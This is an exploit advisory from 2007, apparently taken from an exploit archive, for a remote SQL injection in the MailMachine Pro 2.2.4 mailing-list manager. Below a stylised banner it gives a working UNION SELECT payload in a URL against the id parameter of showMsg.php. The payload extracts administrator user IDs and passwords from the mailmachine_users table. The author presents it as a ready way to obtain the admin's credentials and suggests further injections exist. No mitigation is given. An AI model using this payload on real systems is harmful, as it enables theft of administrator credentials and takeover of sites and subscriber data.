MailMachine Pro 2.2.4 Remote SQL Injection Vulnerability

🗓️ 26 Dec 2007 00:00:00Reported by RootType
MailMachine Pro 2.2.4 Remote SQL Injection Vulnerabilit

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org&nbsp;&nbsp;&nbsp;

---------------------------------------------------------------

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;Sql&nbsp;Injection

---------------------------------------------------------------

#&nbsp;Author:&nbsp;MhZ91
#&nbsp;Title:&nbsp;MailMachine&nbsp;Pro&nbsp;2.2.4&nbsp;-&nbsp;Remote&nbsp;Sql&nbsp;Injection
#&nbsp;Download:&nbsp;http://webgraf.ru/2007/11/27/mailmachine_pro_224.html
#&nbsp;Bug:&nbsp;Remote&nbsp;Sql&nbsp;Injection
#&nbsp;Info:&nbsp;Mail&nbsp;Machine&nbsp;Pro&nbsp;is&nbsp;a&nbsp;professional&nbsp;mailing&nbsp;list&nbsp;manager&nbsp;written&nbsp;in&nbsp;php.&nbsp;This&nbsp;program&nbsp;features&nbsp;a&nbsp;web-based&nbsp;setup&nbsp;wizard,&nbsp;unlimited&nbsp;lists&nbsp;and&nbsp;subscribers,&nbsp;unlimited&nbsp;admins,&nbsp;personalization&nbsp;of&nbsp;newsletters&nbsp;with&nbsp;user&nbsp;data,&nbsp;autoreplies,&nbsp;scheduled&nbsp;mailings,&nbsp;email&nbsp;attachments,&nbsp;link&nbsp;tracking,&nbsp;bounced&nbsp;email&nbsp;management,&nbsp;opt-in/out,&nbsp;optional&nbsp;SMTP&nbsp;sending,&nbsp;mailing&nbsp;lists&nbsp;stats,&nbsp;import/export&nbsp;of&nbsp;subscriber&nbsp;list,&nbsp;automatic&nbsp;backup&nbsp;and&nbsp;restore,&nbsp;real-time&nbsp;message&nbsp;queue&nbsp;and&nbsp;more.
#&nbsp;Visit:&nbsp;http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/showMsg.php?id=-1+union+select+1,2,3,4,5,6,concat(user_id,char(58),password),8,9,10+from+mailmachine_users/*

Whit&nbsp;this&nbsp;u&nbsp;get&nbsp;user:password&nbsp;of&nbsp;the&nbsp;admin

I&nbsp;think&nbsp;there&nbsp;is&nbsp;other&nbsp;sql&nbsp;injection&nbsp;xD

Bye..&nbsp;and&nbsp;visit&nbsp;http://www.inj3ct-it.org&nbsp;!!

---------------------------------------------------------------